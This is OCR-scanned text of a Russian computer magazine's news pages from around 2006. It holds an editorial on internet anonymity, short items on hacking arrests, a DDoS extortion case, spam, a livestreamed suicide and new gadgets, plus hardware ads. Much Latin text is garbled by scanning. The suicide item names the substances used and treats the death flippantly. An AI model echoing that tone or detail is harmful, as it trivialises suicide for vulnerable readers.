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ІЫТПО СІІТТАН / 




іі НАВЕРНОЕ, СЛЫШАЛ НОВОСТЬ О ТАК НАЗЫВАЕМОЙ ВСЕРОССИЙСКОЙ 
ИНТЕРНЕТ-ПЕРЕПИСИ? ЧТО РОССИЙСКИЙ СЕГМЕНТ ИНТЕРНЕТА ПЕРЕСТАНЕТ 
БЫТЬ АНОНИМНЫМ? ДОСТУП МОЖНО БУДЕТ ПОЛУЧИТЬ ТОЛЬКО ПОСЛЕ 
ПРЕДЪЯВЛЕНИЯ ПАСПОРТА. И ВСЕ ДАННЫЕ БУДУТ ВНОСИТЬСЯ В ОНЛАЙН- 
БАЗУ, КОТОРАЯ БУДЕТ ДОСТУПНА ФСБ. ВОТ ЭТО ВЕСЕЛЫЙ ЖЕСТКАЧОК! 

ТАКОЕ ОЩУЩЕНИЕ, ЧТО НАШЕ ГОСУДАРСТВО УЖЕ ОТЧАЯЛОСЬ. КОНЕЧНО 
ЖЕ, ВСЕ ПЕРЕСТАНЕТ БЫТЬ АНОНИМНЫМ. ОСОБЕННО, КОГДА ВЗЛОМЩИК 
СИДИТ ЧЕРЕЗ ВПН И ЕЩЕ ЧЕРЕЗ ВЗЛОМАННОГО ПОЛЬЗОВАТЕЛЯ. БЕДНЫЙ 
ПОЛЬЗОВАТЕЛЬ, КОТОРЫЙ ТАК ПОДСТАВЛЯЕТСЯ. А ПРЕДСТАВЬ, ЧТО БУДЕТ, 
КОГДА КАКОЙ-НИБУДЬ ХАКЕР ВЗЛОМАЕТ ЭТИ БАЗЫ. ТОГДА ДЕЙСТВИТЕЛЬНО 
НАСТАНЕТ «ТОТАЛЬНЫЙ» КОНТРОЛЬ, ТОЛЬКО НЕ У СПЕЦСЛУЖБ, А У ПРЕС- 
ЛОВУТЫХ РЕБЯТ, АКТИВНО ИНТЕРЕСУЮЩИХСЯ КОМПЬЮТЕРАМИ. 

ЗДЕСЬ НАДО НЕ ПАСПОРТ ТРЕБОВАТЬ, А МЕНЯТЬ ВСЮ КОНЦЕПЦИЮ ИНТЕР- 
НЕТА, ЧТОБЫ ПОЛУЧИТЬ КОНТРОЛЬ. САМ ПОНИМАЕШЬ, ВРЯД ЛИ ПОДОБНОЕ 
СВЕРШИТСЯ В БЛИЖАЙШИЕ ГОДЫ. КАКОЙ БЫЛ БЕСПРЕДЕЛ, ТАКОЙ ОН И ОС- 
ТАЛСЯ. ТАКИЕ ВОТ ДЕЛА. ТАК ЧТО ОСТАВАЙСЯ АНОНИМНЫМ. .. рр 
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КЫЕѴѴЗ Ж 



РИАЛИТИ-ШОУ РЭКЕТ САЙТА ЗА 

ОТ САМОУБИЙЦЫ МИЛЛИОН ДОЛЛАРОВ 



Каких только реалити-шоу в наше 
время нет. Начиная блужданиями 
по экзотическим островам с целью 
добыть пропитание, заканчивая 
трансляцией процесса стройки рус- 
скими студентами, которые попутно 
строят отношения друг с другом. Но 
того, что задумал 21 -летний амери- 
канец Митчелл С. еще не показы- 
вал никто. Парень решил отправить 
себя на тот свет, причем не просто 
так, а на глазах всего Интернета. 
Правда, способ выбрал, к сожале- 
нию, не самый кровавый. Любитель онлайновых игр набрал разных 
таблеток, запасся машинным антифризом и в назначенный день, ука- 
занный на игровом форуме, влил все это в себя. Многие из зрителей 
считали, что парнишка шутит, рассказывая о своих жизненных проб- 
лемах, намерении покончить жизнь самоубийством и о симптомах 
после употребления химикатов. Но, когда он в очередной раз не поя- 
вился в объективе видеокамеры, на всякий случай наведались к нему 
домой. Только было уже поздно: 7 января Митчелл скончался в боль- 
нице. Сайт Меіаідеагвоіісі.огд, где бедняга описывал свои страдания, 
полиция на время расследования прикрыла, но его владельцы заверя- 
ют, что не несут никакой ответственности за публикуемый контент и 
не могут следить за всеми постами более чем 5 тысяч посетителей. 




МУЛЬТЯШНАЯ 

ПОЛИЦИЯ 

НА СТРАЖЕ КИТАЯ 

Китайцы в последнее время все 
серьезнее подходят к контролю 
над контентом, который китайские 
юзеры могут серфить в Сети. 
Только за последний год в этой 
стране к инету подключилось 17 
миллионов человек, а всего коли- 
чество китайских сетевиков дости- 
гает 1 1 1 миллионов. Попробуй тут 
уследи за каждым. Но Шеньчжэ- 
нское подразделение контроля за 
Интернетом считает, что ничего 
невозможного нет, и ввело новый сервис — виртуальную полицию. 
Звучит грозно, но на самом деле полицейские эти нарисованные и бу- 
дут размещаться на городских сайтах по типу мультяшных аваторов в 
виртуальном учебнике ѴѴІпсІоѵѵз. Анимешные копы будут помогать юзе- 
ру разными советами, напоминать о том, как лучше всего использовать 
Итернет и на каких сайтах полезнее всего бывать, а также грозить 
пальчиком, если нехороший китаец вдруг задумает погрешить порнуш- 
кой. Обслуживать рисованных персонажей в полицейской форме будут 
6 настоящих китайских копов, так что все довольно серьезно. Правда, 
пока неясно, на каких именно сайтах будут размещены аваторы, и хва- 
тит ли у Китая полицейских, чтобы держать под контролем весь сете- 
вой контент. Поживем — увидим. 





Если ты торгуешь на рынке дынями и арбузами, то должен знать, 
что директор рынка — не самый главный враг. Настоящее зло — рэ- 
кетиры. Подходит к тебе такой весь накачанный спортсмен и просит 
много денег якобы за защиту от других накачанных спортсменов. 
Приходится отстегивать. В наше время рэкет уже вышел за границы 
рынков и перебрался в Интернет. Типичным примером стал недав- 
ный случай, который произошел с Алексом Тью — 21 -летним сту- 
дентом, автором сайта, сделавшего его миллионером. Идея сайта 
была простой: Алекс создал на страничке сетку из 10 тысяч квадра- 
тов размером 10x10 пикселей каждый. Любой желающий может раз- 
местить в одном из квадратов рекламу со ссылкой на свой сайт. 
Внимание СМИ сделало сайт известным, так что желающих оста- 
вить свой баннер нашлось немало. Британский студент поднял на 
рекламе лимон баксов всего за 4 месяца. Тут то и показались «брат- 
ки». Виртуальные спортсмены скромно попросили 5 тысяч, угрожая 
в противном случае хакнуть сайт. Алекс платить отказался, и 1 0 ян- 
варя, когда отпущенный ему срок истек, на ѵѵѵѵѵѵ.тіІІІопсІоІІаіТіоте- 
раае.сот обрушилась шквальная ОБоЗ-атака. Показав, что они не 
шутят, вымогатели связались с владельцем еще раз и теперь уже 
потребовали 50 штук. После чего Алекс обратился в полицию. Найти 
хакеров органам пока не удалось. Говорят, следы ведут в Россию. 



КРУПНАЯ РЫБА 

В компьютерном 
андеграунде ходят 
байки, что полиция 
ни на что не способ- 
на, а если и ловит 
хакеров, то только 
тех, которые воруют 
пароли на диалап. 

В Испании копы в 
очередной раз дока- 
зали, что еще на 
что-то годны. В се- 
редине января в 

этой стране арестовали местного жителя, которого подозревают в 
причастности к сетевым атакам на компьютеры американской во- 
енной базы Роіпі І_ота, управляющей атомными подводными лод- 
ками. Правда, выследили взломщика не испанцы, а ФБР. Так же в 
заявлении прессе представители власти сказали, что, возможно, 
этот же хакер — член группы, неоднократно атаковавшей военные 
компьютерные системы разных стран и нанесшей вред в районе 
500 тысяч долларов. Пока полиция собирает доказательства вины, 
и если на суде испанца признают виновным, то небольшим штра- 
фом он не отделается. 
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БЕЗГРАНИЧНЫЕ (іпІёІ) 

возможности 4 



Откройте для своей семьи новые способы обучения, общения 
и развлечений - приобретите персональный компьютер ФРОНТ™ Т-80 
на базе процессора ІпіеІ® Репііит® 4 с технологией НТ. 



Репііит 4 НТ 

іпъійе 

I л 



ІХНОПОГИЯ 




4 >1>©МТ 

МОЩНЫЙ ПЕРСОНАЛЬНЫЙ КОМПЬЮТЕР 
ОРИЕНТИРОВАННЫЙ НА ЗАДАЧИ 
ЛЮБОЙ СЛОЖНОСТИ 



ІпіеІ, логотип ІпіеІ, ІпіеІ Іпзісіе, логотип ІпіеІ Іпзісіе, ІпіеІ Сепігіпо, логотип ІпіеІ Сепігіпо, Сеіегоп, ІпіеІ Хеоп, ІпіеІ ЗреесІЗІер, Ііапіит, Репііит и Репііит III Хеоп 
являются товарными знаками или зарегистрированными товарными знаками корпорации ІпіеІ и ее подразделений в США и других странах. 









][ІЧЕѴѴ5 ▼ 



][ЫЕѴѴ5 ▼ 



БОРЕЦ СО СПАМОМ 

ОКАЗАЛСЯ 

СПАМЕРОМ 

В США много разных борцов со спамом. 
Один из них — генеральный прокурор 
штата Флорида, который получил извест- 
ность благодаря непримиримой войне 
с главным сетевым злом. Чарли Крист 
способствовал в свое время продвижению 
закона, согласно которому за каждое отп- 
равленное письмо спамер может получить 
до 500 долларов штрафа. Но после того, 
как во Флориде начались губернаторские 
выборы, а прокурор выдвинул свою кан- 
дидатуру в список претендентов, его ан- 
тиспамерские страсти поутихли. Более 
того, оказалось, что в предвыборной ком- 
пании рассылка рекламных мессаг с пиаром себя любимого являет- 
ся одним из самых эффективных средств. Так что Чарли вместе со 
своей свитой организовали массовую рассылку, обещая избирате- 
лям земные блага. Спам от кандидата на губернаторский пост не 
прекратился даже после того, как некоторые невольные подписчики 
отправили по несколько раз просьбу прекратить высылать предвы- 
борную мукулатуру. Во Флориде про «ярого борца со спамом» уже 
стали слагать анекдоты, но соратники Криста вовсе не считают сво- 
его предводителя спамером. Основной их аргумент звучит так: «По 
закону штата, спам — это рассылка сообщений, вводящих получа- 
теля в заблуждение, а в письмах, рассылаемых от лица Чарли, 
содержится только правда и ничего, кроме правды». 




ГУБЕРНАТОРА 
ПИТЕРА ВИРТУАЛЬНО 
«ПРИГОВОРИЛИ» 

В Питере сейчас полным ходом 
идет суд над неким Александ- 
ром Втулкиным. Парень никого 
не убивал и не насиловал — 
прикололся просто не в тему. В 
конце июля 2004 года на фору- 
ме сайта Фонтанка. ру Саша за- 
постил сообщение, что трибуна 
«Партии Свободы» вынес 
смертный приговор губернатору 
Санкт-Петербурга Валентине 
Матвиенко за антирусскую по- 
литику и заселение города вы- 
ходцами с Кавказа и Азии. Там 
же указывались сроки, в кото- 
рые губернатора надлежало по- 
весить. Вот так вот решил пошутить славный парень Саша. Только 
милиция юмор не разделила и отнеслась к сообщению, как к ре- 
альной угрозе. Автора текста вычислили на удивление быстро. Ор- 
ганы установили, что пост был сделан из интернет-кафе на Моско- 
вском вокзале, благодаря видеокамерам удалось получить фотог- 
рафию «шутника». И, так как лицо оказалось милиции знакомым 
(Втулкин называл себя министром национальной безопасности са- 
мопровозглашенной «Русской Республики»), уже на следующий 
день он оказался в руках правоохранительных органов. Прокурату- 
ра возбудила дело по статье 1 19 УК РФ (угроза убийством), но со 
временем спустилась к более «мягкой» статье 282 (распростране- 
ние злонамеренной инфы). И вот теперь (спустя полтора года) оно 
дошло до суда. Чем закончится история с виртуальными угрозами, 
если это можно так назвать, пока неизвестно. 




СЛУЧАЙНА ЛИ 
ЛАЗЕЙКА? 



Большинство багов в программах 
списывают на невнимательность 
программиста, недоработку кода. 
В самом деле, трудно предусмот- 
реть все, когда ты пишешь код на 
100 тысяч строк. Но Стивен Гиб- 
сон, зесигііу-эксперт и руководи- 
тель собственной зесигііу-компа- 




ПИРАТСКИЙ МИТИНГ 

«Требуем отмены антипиратс- 
ких репрессий!», «Даешь пира- 
тский варез в массы!», «Моя 
семья голодает, не лишайте ме- 
ня заработка!» — с такими пла- 
катами недавно вышли на улицу 
несколько десятков жителей го- 
рода Сан-Сальвадор. Причиной 
такого митинга послужили изменения в законопроекте, позволяю- 
щие полиции конфисковать любой товар, не имеющий лицензии. 

В первую очередь это касается пиратского видео и аудио, следом 
идет софт. Новый закон был введен в конце 2005 года, и полиция 
уже успела им воспользоваться для организации рейдов на пиратс- 
кие точки. Пираты с таким положением дел смириться не смогли и, 
взяв транспаранты, вышли на улицы города отстаивать свои права. 
Что интересно, президент Антонио Сака не разогнал наглецов, а да- 
же пообещал подумать, как им помочь, чтобы продавцы контрафак- 
тов могли торговать и дальше, но только легальной продукцией. 




ДОБРОВОЛЬНАЯ 

КОМПЕНСАЦИЯ 

Суды над спамерами сейчас 
проходят постоянно по всему ми- 
ру. Но случаи, когда спамер 
признает свою вину и с готов- 
ностью соглашается выплатить 
компенсацию жертве, — скорее 
исключение. В Великобритании 
недавно произошло такое миро- 
вое соглашение. Фирма Мебіа 
Бодівіісв ІІК получила иск в суд 
от британца Найджела Робертса, 
которому она регулярно отправляла рекламные сообщения. Найд- 
жел не собирался втягиваться в долгие и сложные разбирательства, 
поэтому в качестве выплаты потребовал всего 300 фунтов. Мебіа 
Бодівіісв тоже не хотела доводить дело до суда и согласилась отдать 
эту сумму во внесудебном порядке. После провернутой сделки все 
стороны остались довольны. Британец заработал себе на пиво, а МБ 
отделалась легким испугом. 
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Создай свою реальность 

с компьютером ОЕРО Едо на базе процессора ІпЪеІ® РепЪит® 4 с технологией НТ 





Включи РЕРО Едо — и перед тобой откроется новая реальность твоих 
любимых компьютерных игр. Наслаждайся быстротой реакции и скоростью, 
исследуй распахнувшийся перед тобой мир высококачественной 
компьютерной графики и настоящего экшена. Теперь эта цифровая 
реальность может стать твоей благодаря компьютеру Е)ЕРО Едо на базе 
процессора ІпіеІ® РепЬіит® 4 с технологией НТ. 




РЕРО Едо 525 РНВ: 

• процессор ІпЪеІ® Репйигп® 4 640 с технологией НТ 

• чипсет Іпіеі® 925ХЕ с улучшенной архитектурой 

• сверхбыстрая память 00Р2 

• новые возможности графики РСІ-Ехргезз 

• реалистичный объемный 8-канальный звук 




Компания ОЕРО СотриЪегз Тел./факс: (095) 969-2215, млллл/.беро.ги 



Обозначения Сеіегоп, Сеіегоп Іпзісіе, СепСгіпо, СепСгіпо Іодо, ІпСеІ, ІпСеІ Соге, ІпСеІ Іодо, ІпСеІ Іпзісіе, ІпСеІ Іпзісіе Іодо, ІпСеІ ЗреебЗъер, ІпСеІ Ѵііѵ, ІпСеІ Хеоп, ІСапіит, ІСапіит Іпзісіе, Соге Іпзісіе, РепСіит и РепСіит 
Іпзісіе являются товарными знаками, либо зарегистрированными товарными знаками, права на которые принадлежат корпорации ІпСеІ или ее подразделениям на территории США и других стран. 




НМЕѴѴЗ НАВОЫЕѴѴЗ ▼ 



НІТЕСНЫЕѴѴЗ ▼ 



СВЕТОФОРНАЯ 

ОКАЗИЯ 

Помнишь, как в фильме «Хаке- 
ры» чуваки хакнули светофоры, 
чтобы создать пробку и безопас- 
но добраться до условленного 
места? Оказывается, такое бы- 
вает не только в фильмах. Ока- 
зия произошла в израильском 
городе Тель-Авив, хотя хакеры 
тут ни при чем. В одном из све- 
тофоров дала сбой программа, 
управляющая переключением 
сигналов — вместо положенных 90 секунд продолжительность зеле- 
ного света составила больше 10 минут. В результате на выезде из 
города организовалась многокилометровая пробка из десятков ты- 
сяч машин, которые заполнили крупные автомагистрали. Движение 
транспорта было также парализовано во всех близлежащих насе- 
ленных пунктах. Для устранения неполадки Тель-Авивский департа- 
мент управления дорожным трафиком вызвал представителей кон- 
торы, которая поставляла ПО для светофоров. Проблема была ре- 
шена спустя несколько часов. 



СОТРУДНИКИ 
СПЕЦСЛУЖБ 
ПОД КОЛПАКОМ 

Хороший новогодний подарок 
сделала спецслужбам америка- 
нская компания Оиісіапсе 
ЗоКѵѵаге, которая специализиру- 
ется на обеспечении информа- 
ционной безопасности прави- 
тельственных структур США. 
Оказалось, что в базе данных, 
где хранится инфа о почти 4 ты- 
сячах агентах АНБ, ФБР, ЦРУ, 
существует уязвимость, и любой 
юзер в Интернете может вос- 
пользоваться ей, чтобы узнать 
имена, адреса и номера кредит- 
ных карт американских «Джеймсов Бондов». Конечно, клиенты Ѳ$ 
возмутились. Так как они считали, что система безукоризненна, и 
проникнуть в нее невозможно. Компания пообещала устранить баг в 
кратчайшие сроки, но, может, в базе данных уже успел покопаться 
какой-то особо пронырливый хакер? 



НІ-ТЕСН НА СЛУЖБЕ 
ПРАВОПОРЯДКА 

Высокотехнологичные примочки 
в последнее время все чаще и 
чаще портят жизнь невезучим 
грабителям, так как детекторы 
движения и скрытые видеокаме- 
ры моментально оповещают по- 
лицию о вторжении, автомобили 
со встроенным модулем ѲРЗ с 
точностью до нескольких метров 
выдают местонахождение похи- 
тителя. Недавно очередной вор- 
рецидивист, по имени ТГютаз В. Ргіскз, ворвался в одно из отделений 
банка ѴѴазІпіпдІоп Тгизі Вапк, по-голливудски уложил всех на пол и, уг- 
рожая оружием, потребовал у кассира доверху наполнить мешок 
деньгами. На первый взгляд ограбление прошло безупречно, но всего 
несколько часов спустя изумленный грабитель уже лежал на земле, 
закованный в наручники. Как оказалась, пока во время ограбления 
сотрудники банка набивали мешок стопками банкнот, в момент, когда 
грабитель немного отвлекся, заодно подсунули ему в мешок и неболь- 
шой ОРЗ-передатчик. После этого задержание оказалось для стра- 
жей правопорядка исключительно делом техники. 



РІВ8Т РЕК80ЫАІ. 
8НООТЕК 

Компания Зіагпех, специализирую- 
щаяся на системах видеонаблюде- 
ния, анонсировала весьма любо- 
пытное устройство под названием 
ЗеІЮиагб 30-310, разработанное 
специально для армии. Девайс, 
слегка причудливой формы, дол- 
жен крепиться на винтовку и неп- 
рерывно транслировать изображе- 
ние со встроенной видеокамеры. 
Зачем все это? Чтобы более тол- 
ковый командир, на аналогичное 
устройство которого и будет пере- 
даваться видео, мог следить за действиями своих бойцов и давать им по 
ходу ценные указания о том, как поступить в той или иной сложной бое- 
вой ситуации. Впрочем, и командиру не удастся отсиживаться на мягком 
кресле в командном пункте, находящемся за несколько километров от 
поля боя, ведь видео будет транслировать при помощи ВІиеІооІН, а с ним 
более чем на 100 метров отойти никак не получится. 







ЗОІІѴ ПРОДОЛЖАЕТ 
ШАГАТЬ 



Наверное, у каждой компании есть некая серия устройств, название 
которой, в силу качества и популярности изделий, известно очень 
широкому кругу людей, даже тем, которые далеки от специфики 
этих изделий. У компании Золу это, несомненно, плееры ѴѴАБКМАІЧ, 
имя, которое иногда употребляется как нарицательное. Теперь есть 
новый ѴѴАБКМАЫ, обладающий уникальным дизайном. В его основе 
может быть жесткий диск объемом 6 или 20 Гб, а экран размером 
1 ,5 или 2 дюйма (в зависимости от модели) отображает удобное 
пользовательское меню, в котором присутствует масса функций, их 
наверняка оценят те, кто не может жить без музыки. Это, помимо 
всего прочего, многофункциональный поиск песен по различным па- 
раметрам. Устройство работает с двумя форматами файлов - МРЗ и 



АТПАСЗрІиз (фирменный формат 
Золу). Поддерживается работа с 
программой СОШМЕСТ РІауег- 
обновление кодеков и (ігтѵѵаге че- 
рез Интернет, а также работа с од- 
ноименной платной службой скачи- 
вания треков. В продаже имеются 
модели разных расцветок, а также 
масса аксессуаров для плеера: 
пульт ДУ, док-станция и прочее. 
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НЕСРАВНИМО МОЩНЕЕ! 



Высокая мощность компьютера Эксимер Ноте Мавіег Рго на базе процессора Іпіеі® Репііит® 4 640 с технологией НТ 

это залог Вашей уверенности в себе перед самыми сложными и нестандартными задачами, которые нам готовит будущее 



ехсітея 



ілдл/ш.ехсітег.сот 



Компания Эксимер рекомендует 
лицензионную ОС МісгозоТС® ѴѴіпсІоѵѵз® ХР 



ѵѵеЬ: ѵѵѵѵѵѵ.ехсітег.сот/потешазТегрго 

Спрашивайте в магазинах Техносила и М. Видео 



Обозначения Сеіегоп, Сеіегоп Іпзісіе, Сепігіло, Сепігіло Іодо, Іпіеі, , Іпіеі Соге, Іпіеі Іодо, Іпіеі Іпзісіе, Іпіеі Іпзісіе Іодо, Іпіеі ЗреесІЗіер, Іпіеі Ѵііѵ, Іпіеі Хеоп, Ііапіит, Ііапіит Іпзісіе, Соге Іпзісіе, Репііит и Репііит 
Іпзісіе являются товарными знаками, либо зарегистрированными товарными знаками, права на которые принадлежат корпорации Іпіеі или ее подразделениям на территории США и других стран. 





НІТЕСНМЕѴѴЗ ▼ НАВОЫЕѴѴЗ ▼ 



ГОВОРЯЩАЯ МЫШЬ 




Последний год однозначно можно считать периодом расцвета интер- 
нет-телефонии. Феноменальная популярность таких программ, как 
$куре, вынудили производителей искать способы приспосабливать 
телефон к компьютеру, да еще с каким-либо комбинированным де- 
вайсом. Естественно, под прицел попала мышка, так как прислонять 
клавиатуру или монитор к уху — совсем глупо. Десятки производи- 
телей, в том числе и 8опу, представили свои приспособления, в ос- 
новном отличающиеся редкостной убогостью, и единственная ком- 
пания, которая смогла выпустить достойное устройство, оказалась 
малоизвестная тайваньская фирма Зуздгаііоп. Девайс не только, в 
отличие от конкурентов, внешне напоминает нормальный манипуля- 
тор типа «мышь», но и внутри оказывается неплохим ѴоІР-телефо- 
ном. Под откидывающейся внешней крышкой кроется полноценный 
ЖК-дисплей и стандартная для сотового клавиатура. При этом дан- 
ное устройство еще и беспроводное, чем окончательно уделывает 
оставшихся конкурентов. Пока девайс не добрался еще до полок ма- 
газинов, и производители не определились с его стоимостью, одна- 
ко в успехе своей разработки не сомневаются и надеются в этом го- 
ду неплохо на ней заработать. 



НАѴШМЕѴѴ5 ' 




ЗАМЗІШО И ЫАРА 




Компания Іпіеі продолжает развивать свою мобильную платформу 
Сепігіпо и ее последняя версия называется Соге Оію. Производите- 
ли ноутбуков, естественно, не могут оставить такое событие без 
внимания, и вот Затзипд обнародовал информацию о тех моделях, 
которые появятся в марте, и будут использовать новую технологию. 
Названия моделей: Х60, Н65, Р50, Р60. Все они будут обладать дву- 
ядерным процессором, набором микросхем ІИеІ 945 Ехргезз и адап- 
тером ѴѴІ-РІ. Кроме того, вся четверка будет иметь беспроводный 
интерфейс ВІыеіооіН 2.0+ЕОВ. Ноутбук Х60 с 15,4-дюймовым широ- 
коформатным дисплеем имеет влагозащищенную клавиатуру, гига- 
битный сетевой адаптер и универсальный оптический привод. Мо- 
дель В65, помимо прочего функционала, может похвастаться мощ- 
ной видеоплатой пѴісІіа ОеРогсе Оо 7400. Еще обе эти модели име- 
ют восьмиканальный звуковой кодек. Бизнес-сегмент представлен 
моделями Р50 и Р60, имеющими соотношение сторон экрана 4:3 и 
16:10. Ждем весны и эти ПК. 



МАХТОВ КУПЛЕН 

КОМПАНИЕЙ 

ЗЕАСАТЕ 




Количество игроков, по крайней мере крупных, реально влияю- 
щих на состояние дел, на рынке жестких дисков сегодня невели- 
ко. А недавно оно стало еще меньше, так как компания Зеадаіе, 
известная своими винчестерами серии Ваггасиба, проявила впол- 
не достойный барракуды аппетит и купила не менее известную 
компанию Махіог. Конечно, если ты не являешься акционером од- 
ной из двух этих фирм, то тебя напрямую это не затронет, но и 
рядовому пользователю не помешает знать кое-какую информа- 
цию. Например, Зеадаіе обещает в самом скором времени выпус- 
тить более технологически продвинутые накопители и вообще на- 
чать новый виток своего существования. Надеемся, что это будут 
доступные и качественные жесткие диски. 



КРУГЛОСУТОЧНЫЙ 

РОБОТ 




Чем хороши роботы? Они, например, способны работать в самых 
экстремальных условиях: хоть в двух метрах от ядерного реактора, 
хоть в ночную смену в круглосуточном магазине с вечно пьяными по- 
купателями. Как раз компания 8Нор24 решила приспособить роботов 
для второй задачи, открыв по всему миру целую сеть полностью авто- 
матизированных круглосуточных киосков. Причем это вам не жалкие 
автоматы с пепси-колой, а полноценные магазины с широким ассорти 
ментом товара. В любое время дня и ночи предлагается порядка двух 
сотен наименований товара, в том числе молоко, сода, батарейки, не- 
которые лекарства. К оплате принимаются как наличные, так и кре- 
дитные карточки. После выбора нужного товара и оплаты механизиро 
ванная рука протянется до нужной упаковки, схватит ее и выплюнет в 
лоток для выдачи. Помимо фирменных магазинов 81тор24, подобными 
автоматами решили обзавестись и крупные сети супермаркетов, нап- 
ример ВША. 
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А51І$ ѴѴ5000А - это стильный, изысканный дизайн для прогрессивных людей, 
ценящих максимальную функциональность и производительность 
современных цифровых устройств. Неважно где Вы находитесь, Ѵ/5000А с 
встроенной поворотной 1.3-мегапиксельной камерой позволит Вам увидеть 
то, что Вы захотите. Встроенный микрофон и эксклюзивное ПО І_іѵеРгате, 
разработанное специально для этого ноутбука, обеспечивают простую запись 
и воспроизведение фото и видео. 



Встроенная веб-камера, поворачивающаяся на 180 градусов 



■■ Іпіеі® Сепігіпо™ МоЬМе ТесЬпоІоду 

• Процессор Іпіеі® Репііцт® М 770 • МоЬіІе Іпіеі® 915СМ Ехргезз СНірзеІ 

• Іпіеі® ѴѴігеІезз/РКО Меіѵѵогк Соппесііоп Ь/д 
■■МісгозоК® ѴѴіпсіоѵѵз® ХР: 

• Ноте 

• Рго^еззіопаІ 

“ТРТ- матрица "стеклянного" типа 12.1 ѴѴХСА 1280x768 
“ Эксклюзивное ПО АЗІІ5 ИѵеРгате для захвата видео 
™ ВІцеІооіН 




Путешествуйте легко со стилем 



“Эксклюзивное ПО А51І5 1.іѵеРгате для захвата видео ВсѲМИрНЭЯ ГЭрЭНТИЯ 2 ГОДЭ 

"" ВІцеіооіН Горячая линия А51І5: ( 095 ) 23 - 11-999 



Москва: Армада-РС (495) 641-04-24, Артрон (495) 789-85-80, Аѵакот М (495) 784-67-36, Аѵапіа РС (495) 954-54-22, Белый Ветер (495) 730-30-30, РогсеСотр (495) 775-66-55, ЮЫ (495) 729-57- 
10, МЕХІІ5 (495) 928-23-67, Тенфолд (495) 545-32-71, 01-01 (495) 105-07-00, ПИРИТ (495) 974-32-10, Роіагіз (495) 755-55-57, Портком (495) 101-33-64, Респект (495) 177-40-77, Сетевая 
Лаборатория (095) 500-03-05, ЗМ8 (495) 956-12-25; СтартМастер (495) 967-15-15, ТФК (495) 518-83-58; Умные машины (495) 780-00-41, Ф-Центр (495) 105-64-47, ІІЗЫ (495) 775-82-02; Санкт- 
Петербург: Оізріау (812) 103-00-18, КЕЙ (812) 331-24-77, Микробит (812) 333-44-44, Компьютерный мир (812) 333-00-33; СТР Компьютере (812) 542-4551; Барнаул: С-Тгабе (3852) 38-10-00; 
Воронеж: РЕТ (0732) 77-93-39; Екатеринбург: Парад (3432) 51-48-22, Старттехно+ (3432) 56-85-01; Краснодар: Владос (8612) 62-33-73, Санрайз (8612) 640-066; Новосибирск: НЭТА 
(3832)16-33-11, Техносити (3832) 125-333; Ростов на Дону: Центр-Дон (8632) 698-668; Самара: Прагма (8462) 701-701; Томск: Интант (3822) 41-55-32; Тюмень: Ай Зузіетз (3452) 22-35-33; 
Челябинск: Японская электроника (3512) 63-74-34; Хабаровск: Апукеу (4212) 328-155 

Іпіеі, Іпіеі Іодо, Іпіеі Іпзісіе, Іпіеі Іпзісіе Іодо, Іпіеі Сепігіпо, Іпіеі Сепігіпо Іодо, Сеіегоп, Іпіеі Хеоп, Іпіеі 5реесІ5іер,Ііапіит,апсІ Репііііт аге ігасіетагкз ог гедізіегесі ігасіетагкз оі Іпіеі Согрогаііоп ог ііз зііЬзісІіагіез іп іЬе ІіпііесІ Зіаіез апсі оікег соипігіез. 








НІТЕСНЫЕѴѴЗ ▼ 



НІТЕСНЫЕѴѴЗ ▼ 



ВИРТУАЛЬНЫЙ 

СКАНЕР 









По адресу 
ѵѵѵѵѵѵ.зсапг.согті не- 
давно был запущен 
совершенно уни- 
кальный сервис для 
мобильных телефо- 
нов и КПК, оборудо- 
ванных камерой. 
Если сфотографиро- 
вать любой документ 
или надпись и отпра- 
вить картинку через 
ММ3 или е-таіі на 
указанный адрес, 
то несколько минут 
спустя ты получишь 

обратно распознанный и очищенный текст с картинками, любезно 
запакованными в РОР-файл. Точно так же можно заказать отправку 
документа по факсу или по мылу на любой заданный адрес. Так как 
встроенные камеры обычно не отличаются хорошим качеством, то с 
данным сервисом совместимы камеры с разрешающей способ- 
ностью не менее одного мегапикселя. Практических применений 
для подобной услуги можно придумать вагон и маленькую тележку, 
вот только конфиденциальность передаваемой информации остает- 
ся под большим вопросом. Впрочем, сервис пока работает лишь в 
бесплатном тестовом режиме, и воспользоваться им можно только 
на территории США. 




НАСТОЛЬНАЯ 

ВИРТУАЛЬНОСТЬ 



Если посмотреть со стороны на современ- 
ный многомиллиардный рынок виртуальных 
игр, то может сложиться впечатление, что 
оригинальные идеи закончились у разра- 
ботчиков еще несколько лет назад. К 
счастью, это далеко не так. Например, на 
прошедшей в начале этого года крупней- 
шей выставке потребительской электрони- 
ки СЕЗ (Сопзитег ЕІесігопісз ЗНоѵѵ) компа- 
ния РЫІІрз порадовала всех любителей нас- 
тольных игр прототипом принципиально но- 
вой игровой платформы. Устройство, наз- 
ванное ЕпІебаіЫе, представляет собой 30- 
дюймовую горизонтальную ЖК-панель с 
чувствительным экраном. Основное пред- 
назначение новинки — конечно же, нас- 
тольные игры. Разработчики рассчитывают, 
что на созданной платформе появится не 
только множество совершенно новых игр, но и большинство ста- 
рых, таких как «монополия», обретут свое второе дыхание. Кстати, 
подобные идеи уже не новы, однако во всех предыдущих реализа- 
циях от других компаний были несомненные недостатки: огромные 
размеры, требование специального освещения, наличие внешних 
камер и т.д. Кстати, ЕпІегІаіЫе не только лишен всех этих недос- 
татков, но и наделен массой собственных преимуществ, например, 
способен одновременно отслеживать местоположение как множе- 
ства фишек, так и пальцев игроков. Секрет девайса кроется в гра- 
мотном расположении массива инфракрасных свето- и фотодио- 
дов по периметру экрана. На момент презентации на выставке 
устройство находилось на стадии полнофункционального прототи- 
па, а представители Рйііірз уже вовсю вели переговоры с издате- 
лями игр. Кстати, если первый опыт окажется удачным, то по ана- 
логичной технологии планируется построить и другие не только иг- 
ровые устройства, которые могут пригодиться инженерам, студен- 
там и многим другим. 
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Встречайте очередной девайс класса «первый в мире...». Итак, ба- 
рабанная дробь... первый в мире фотоаппарат с двумя объектива- 
ми! Данное чудо техники анонсировала компания Кобак на все той 
же выставке СЕЗ 2006. Сразу возникает логичный вопрос: на кой, 
собственно, фотоаппарату сдалось два объектива? Естественно, в 
том числе и для понта, но не только. Практическая цель у подобно- 
го нововведения тоже имеется. Установленные объективы заметно 
различаются между собой по характеристикам: один из них с фик- 
сированным фокусным расстоянием, а другой — с трехкратным оп- 
тическим зумом. При этом для каждого из объективов имеется 
собственная ССй-матрица на 5 мегапикселей. В результате, в отли- 
чие от моделей, оборудованных одним объективом, фотоаппарат не 
вынужден искать компромисса между качественной работой в ши- 
рокоугольном режиме и хорошим оптическим зумом, а способен 
